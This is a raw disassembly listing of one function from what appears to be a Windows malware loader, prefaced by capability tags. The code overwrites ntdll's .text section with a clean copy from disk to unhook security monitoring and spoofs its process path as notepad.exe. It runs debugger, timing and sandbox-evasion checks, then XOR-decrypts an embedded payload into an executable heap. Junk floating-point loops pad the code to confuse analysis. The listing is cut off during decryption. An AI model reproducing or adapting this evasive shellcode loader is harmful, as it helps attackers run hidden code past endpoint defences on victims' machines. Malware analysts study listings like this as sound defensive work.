Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x918
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x880], xmm6
mov dword [rbp + 0x8c0], ecx
mov qword [rbp + 0x8c8], rdx
call fcn.140002d70
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x820], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x818], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x810], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
je 0x140001aaf
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x640]
mov rax, qword [rbp + 0x810]
mov r10, qword [rbp + 0x878]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x808], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x800], rax
mov ecx, 0x3fc0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f8], rax
mov ecx, 0x3fc0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f0], rax
mov ecx, 0x3fc0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x874], 0
jmp 0x1400016da
mov dword [rbp + 0x870], 0
jmp 0x1400016c6
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x874]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x7f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x870]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x874]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x7f0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x870]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x32
jle 0x140001615
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x4f
jle 0x140001606
mov dword [rbp + 0x874], 0
jmp 0x140001793
mov dword [rbp + 0x870], 0
jmp 0x14000177f
mov eax, dword [rbp + 0x874]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x7f8]
add rdx, rax
mov eax, dword [rbp + 0x870]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x874]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x7f0]
add rdx, rax
mov eax, dword [rbp + 0x870]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x874]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x7e8]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x870]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x32
jle 0x140001702
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x4f
jle 0x1400016f6
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x800]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x808]
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x808]
add rax, rdx
mov qword [rbp + 0x7c8], rax
mov word [rbp + 0x86e], 0
jmp 0x140001a97
mov rax, qword [rbp + 0x7c8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7c8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x86e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a86
mov dword [rbp + 0x608], 0
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x808]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x608]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x808]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x868], 0xffffffff
mov ecx, 0xe38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
add dword [rbp + 0x868], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x868]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7b8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004200
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x868], 0x1c5
jle 0x140001978
mov edx, dword [rbp + 0x608]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x808]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x608]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x86e]
add eax, 1
mov word [rbp + 0x86e], ax
mov rax, qword [rbp + 0x7c8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x86e], ax
jb 0x140001877
mov dword [rbp + 0x864], 0xffffffff
add dword [rbp + 0x864], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x29b
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140004300
movq rax, xmm0
mov qword [rbp + 0x7b0], rax
cmp dword [rbp + 0x864], 0x178
jle 0x140001ab9
mov dword [rbp + 0x60c], 0
mov rax, qword [rbp + 0x820]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x610]
lea rax, [rbp + 0x60c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7a8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x860], 0
jmp 0x140001bf2
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x6bca1af3
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x664], eax
mov ecx, dword [rbp + 0x664]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
add eax, ecx
sub edx, eax
mov dword [rbp + 0x664], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x664]
movq xmm0, rax
call fcn.140004230
movq rax, xmm0
mov qword [rbp + 0x658], rax
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0xad
jle 0x140001b73
mov rax, qword [rbp + 0x618]
add rax, 0x3c
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x7a0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x790], rax
cmp qword [rbp + 0x790], 0
jne 0x140002c9e
mov qword [rbp + 0x788], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2a06e80
mov ecx, 0
call rax
mov qword [rbp + 0x788], rax
cmp qword [rbp + 0x788], 0
je 0x140002c9e
mov rax, qword [rbp + 0x788]
mov edx, 0x2a06e80
mov rcx, rax
call fcn.140004660
mov rax, qword [rbp + 0x788]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x858], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
je 0x140001dc4
mov rax, qword [rbp + 0x778]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x770]
mov r9d, 0x3000
mov r8d, 0x2bb
mov edx, 0
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x140002c9e
lea rax, str.cgwyejhfhrlortvp.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
jne 0x140002c9e
mov dword [rbp + 0x604], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x604]
mov r8, qword [rbp + 0x760]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x604]
cmp eax, 1
je 0x140002c9e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x754], eax
mov ecx, 0x25e
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x750], eax
mov eax, dword [rbp + 0x750]
sub eax, dword [rbp + 0x754]
cmp eax, 0x22c
jbe 0x140002c9e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
jne 0x140002c9e
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
jne 0x140002c9e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x72c], eax
mov ecx, 0x3e6
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x728], eax
mov eax, dword [rbp + 0x728]
sub eax, dword [rbp + 0x72c]
cmp eax, 0x3b4
jbe 0x140002c9e
mov dword [rbp + 0x724], 0x2fe
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x714], eax
mov eax, dword [rbp + 0x724]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x710]
sub eax, dword [rbp + 0x714]
cmp eax, 0x2cc
jbe 0x140002c9e
mov dword [rbp + 0x854], 0
jmp 0x1400020aa
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003e40
movq rax, xmm0
mov qword [rbp + 0x668], rax
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x259
jle 0x140002066
lea rax, [rbp + 0x100]
lea rdx, [0x140006160]
mov ecx, 0xa0
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x818]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov ecx, 0x17a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x700], rax
mov ecx, 0x17a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f8], rax
mov ecx, 0x17a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f0], rax
mov dword [rbp + 0x850], 0
jmp 0x140002234
mov dword [rbp + 0x84c], 0
jmp 0x140002220
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 7
cdq
sub ecx, edx
imul edx, ecx, 0x7d0
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x850]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x700]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x84c]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 7
cdq
sub ecx, edx
imul edx, ecx, 0x7d0
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x850]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x6f8]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x84c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x29
jle 0x14000214f
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x23
jle 0x140002140
mov dword [rbp + 0x850], 0
jmp 0x140002326
mov dword [rbp + 0x84c], 0
jmp 0x140002312
mov eax, dword [rbp + 0x850]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x700]
add rdx, rax
mov eax, dword [rbp + 0x84c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x850]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x6f8]
add rdx, rax
mov eax, dword [rbp + 0x84c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x850]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x6f0]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x84c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x29
jle 0x14000225f
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x23
jle 0x140002250
mov rax, qword [rbp + 0x700]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x818]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x708]
mov r8d, 0
mov edx, 0x500
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov r9, qword [rbp + 0x6e8]
mov r8d, 0x500
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x820]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 0x6d8]
mov r9, qword [rbp + 0x6d0]
mov r8d, 0x500
mov rcx, rax
call r9
mov dword [rbp + 0x844], 0
mov dword [rbp + 0x840], 0
movabs rax, 0xca627ee6962ba2e6
movabs rdx, 0x970d44f6fc7b9534
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x898853727d439476
movabs rdx, 0x3dc77bebf4ff2506
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x80ffccb208c29c14
movabs rdx, 0xe0877fdfc0d1beb3
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x448d1f355fa68853
movabs rdx, 0xc72cb45c23529306
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xfc3c300539c28e9c
movabs rdx, 0x72e7fca244783952
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xb213a870e326f7b6
movabs rdx, 0x5c073f187d491e1e
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x51887a986a562c6e
movabs rdx, 0x6175586834c5f2fc
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
mov dword [rbp + 0xef], 0x24e61
movabs rax, 0x622190037fe78d01
movabs rdx, 0x4ea8cd3788873695
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xa63a10dfadb7486
movabs rdx, 0x23d847172ad11a8f
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xd3bf2034b06efbc7
movabs rdx, 0xabf4672f4927962a
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xd4c90cacabf467
mov qword [rbp - 0x13], rax
mov ecx, 0x4d70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov ecx, 0x4d70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov ecx, 0x4d70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x83c], 0
jmp 0x1400026ad
mov dword [rbp + 0x838], 0
jmp 0x140002699
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x3e8
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x83c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6c8]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x838]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x3e8
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x83c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6c0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x838]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x53
jle 0x1400025c8
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x3a
jle 0x1400025b9
mov dword [rbp + 0x83c], 0
jmp 0x14000279f
mov dword [rbp + 0x838], 0
jmp 0x14000278b
mov eax, dword [rbp + 0x83c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6c8]
add rdx, rax
mov eax, dword [rbp + 0x838]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x83c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6c0]
add rdx, rax
mov eax, dword [rbp + 0x838]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x83c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x838]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x53
jle 0x1400026d8
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x3a
jle 0x1400026c9
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x848], 0
jmp 0x14000299a
cmp dword [rbp + 0x844], 0x33
jne 0x140002961
mov ecx, 0x760
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov ecx, 0x760
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x834], 0
jmp 0x1400028b0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x678]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0xeb
jle 0x140002826
mov dword [rbp + 0x834], 0
jmp 0x14000291e
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x670]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140004050
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0xeb
jle 0x1400028cc
mov eax, dword [rbp + 0x848]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x844]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x848]
cdqe
mov byte [rbp + rax], dl
mov dword [rbp + 0x844], 0
jmp 0x140002993
mov eax, dword [rbp + 0x848]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x844]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x848]
cdqe
mov byte [rbp + rax], dl
add dword [rbp + 0x844], 1
